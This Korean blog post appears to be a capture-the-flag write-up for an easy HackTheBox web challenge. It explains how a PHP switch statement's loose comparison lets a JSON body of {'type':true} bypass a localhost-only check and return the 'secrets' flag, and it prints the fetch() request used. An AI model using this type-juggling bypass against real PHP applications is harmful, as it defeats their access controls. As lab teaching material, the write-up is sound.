티스토리 뷰

728x90
반응형

Introduction

Category : Web

Difficulty : easy

Description : An organization seems to possess knowledge of the true nature of pumpkins. Can you find out what they honestly know and uncover this centuries-long secret once and for all?

문제 첫 페이지

Code Analysis

Flag 가 어디있나 살펴봤고, entrypoint.sh 파일에서 DB 생성 시에 입력되는 것을 볼 수 있었습니다.

CREATE DATABASE web_juggling_facts;
USE web_juggling_facts;

CREATE TABLE facts (
    id        INT NOT NULL AUTO_INCREMENT,
    fact      TEXT NOT NULL,
    fact_type VARCHAR(255) NOT NULL,
    primary key(id)
);

INSERT INTO facts(fact, fact_type) VALUES (
    '<p>Around <span class="highlight-number">90%</span> to <span class="highlight-number letter-ss17">95%</span> of the processed <span class=":pumpkin:">:pumpkin:</span>s in the United States are grown in <span class="highlight-word letter-ss17">Illinois</span></p>',
    'spooky'
)
-- ... 생략 ...
(
    'HTB{f4k3_fl4g_f0r_t3st1ng}',
    'secrets'
);

frontend에서 backend로 보내는 endpoint 는 하나밖에 없는 것을 볼 수 있었습니다.

const loadfacts = async (fact_type) => {
    await fetch('/api/getfacts', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ 'type': fact_type })
    })
        .then((response) => response.json())
        .then((res) => {
            if (!res.hasOwnProperty('facts')){
                populate([]);
                return;
            }

            populate(res.facts);
        });
}

/api/getfacts API가 어떤 기능을 하는지 보았습니다.

public function getfacts($router)
{
    $jsondata = json_decode(file_get_contents('php://input'), true);

    if ( empty($jsondata) || !array_key_exists('type', $jsondata))
    {
        return $router->jsonify(['message' => 'Insufficient parameters!']);
    }

    if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
    {
        return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
    }

    switch ($jsondata['type'])
    {
        case 'secrets':
            return $router->jsonify([
                'facts' => $this->facts->get_facts('secrets')
            ]);

        case 'spooky':
            return $router->jsonify([
                'facts' => $this->facts->get_facts('spooky')
            ]);

        case 'not_spooky':
            return $router->jsonify([
                'facts' => $this->facts->get_facts('not_spooky')
            ]);

        default:
            return $router->jsonify([
                'message' => 'Invalid type!'
            ]);
    }
}

JSON 데이터로 넘오온 type 파라미터가 secrets 인지 확인하고 있는 것을 볼 수 있습니다. 아까 DB 생성 시에 FLAG 값이 들어있는 항목의 fact_type 컬럼의 값이 secrets 였던 것을 기억합니다. 

 

하지만 type 을 secrets 로 주게 되면 $_SERVER['REMOTE_ADDR'] 가 localhost 인지도 같이 검사하게 됩니다.

이 경우 remote address 를 127.0.0.1 로 할 수 있는 방법은 전혀 보이지 않았습니다.

 

때문에 다른 방법을 찾았는데, 잘 보니 if 문 다음에 switch 문에서 다시 type을 검사해서 case 'secrets' 인지를 확인하고 있는 문장이 보입니다.

 

문제 이름에서도 보이듯이 Type Juggling이 생각납니다. PHP 에서 문자열을 참(true)과 느슨한 비교를 하게 되면 참(true) 값으로 인식하기 때문에 이를 이용한다면 case 가 처음으로 나오는 부분이 secrets 여서 바로 Flag 를 출력할 수 있을 것으로 보였습니다.

https://www.w3schools.com/php/phptryit.asp?filename=tryphp_compiler

Exploit

문제 풀이 당시 사용한 script는 아래와 같습니다.

fetch("http://161.35.172.25:31454/api/getfacts", {
  "headers": {
    "content-type": "application/json"
  },
  "body": "{\"type\":true}",
  "method": "POST",
  "mode": "cors",
  "credentials": "omit"
}).then((r)=>r.text()).
    then((r)=>console.log(r));

type 부분을 true로 해서 전송하게 되면 아래와 같이 Flag 가 출력되는 것을 볼 수 있습니다.

아래는 PHP 느슨한(loose) 비교 시 참고할 만한 표입니다.

https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf

 

- 끝 -

728x90
반응형
댓글